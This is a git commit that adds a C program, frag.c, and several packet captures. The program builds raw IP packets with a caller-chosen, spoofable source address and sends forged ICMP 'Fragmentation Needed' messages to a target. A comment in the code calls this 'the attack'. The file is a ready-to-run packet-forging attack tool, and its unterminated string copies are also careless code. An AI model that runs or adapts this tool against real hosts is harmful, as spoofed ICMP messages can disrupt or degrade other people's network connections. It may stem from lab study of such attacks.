This commit is contained in:
gbucchino 2026-05-28 16:34:46 +02:00
commit 58a2c14e3f
9 changed files with 107 additions and 0 deletions

BIN
foo.pcap Normal file

Binary file not shown.

107
frag.c Normal file

@ -0,0 +1,107 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#define PACKET_SIZE 128
#define PAYLOAD_DATA 8
static unsigned short csum(unsigned short *buf, int nwords) {
unsigned long sum = 0;
while (nwords > 0) {
sum += *buf++;
nwords--;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
int main(int argc, char *argv[]) {
int sock = 0;
if (argc < 3)
exit(1);
char ipsrc[15];
char ipdst[15];
memcpy(ipsrc, argv[1], 15);
memcpy(ipdst, argv[2], 15);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket");
return 1;
}
int one = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(int)) < 0) {
perror("setsockopt");
return 1;
}
unsigned char packet[PACKET_SIZE];
memset(packet, 0, PACKET_SIZE);
struct iphdr *ip = (struct iphdr *)packet;
struct icmphdr *icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
struct sockaddr_in dst = {0};
dst.sin_family = AF_INET;
inet_pton(AF_INET, ipdst, &dst.sin_addr);
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 28);
ip->id = htons(1);
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = IPPROTO_ICMP;
ip->saddr = inet_addr(ipsrc);
ip->daddr = dst.sin_addr.s_addr;
ip->check = csum((unsigned short *)ip, sizeof(struct iphdr) / 2);
/* To perform the attack, we need to set these two values */
icmp->type = ICMP_DEST_UNREACH;
icmp->code = ICMP_FRAG_NEEDED;
icmp->un.gateway = 0;
/* We construct the payload for the ICMP */
unsigned char *payload = packet + sizeof(struct iphdr) + sizeof(struct icmphdr);
struct iphdr payload_ip;
memset(&payload_ip, 0, sizeof(payload_ip));
payload_ip.version = 4;
payload_ip.ihl = 5;
payload_ip.tos = 0;
payload_ip.tot_len = htons(60);
payload_ip.id = htons(1);
payload_ip.ttl = 64;
payload_ip.protocol = 0;
payload_ip.saddr = inet_addr(ipsrc);
payload_ip.daddr = inet_addr(ipdst);
/* We copy our IP header into the ICMP payload and our data */
memcpy(payload, &payload_ip, sizeof(payload_ip));
memset(payload + sizeof(payload_ip), 0x41, PAYLOAD_DATA);
int icmp_len = sizeof(struct icmphdr) + sizeof(payload_ip) + PAYLOAD_DATA;
icmp->checksum = 0;
icmp->checksum = csum((unsigned short *)icmp, (icmp_len + 1) / 2);
int total_len = sizeof(struct iphdr) + icmp_len;
if (sendto(sock, packet, total_len, 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
perror("sendto");
return 1;
}
close(sock);
return 0;
}

BIN
frag.pcap Normal file

Binary file not shown.

BIN
frag2.pcap Normal file

Binary file not shown.

BIN
frag3.pcap Normal file

Binary file not shown.

BIN
icmp.pcap Normal file

Binary file not shown.

BIN
icmp2.pcap Normal file

Binary file not shown.

BIN
icmp3.pcap Normal file

Binary file not shown.

BIN
icmp_frag.pcap Normal file

Binary file not shown.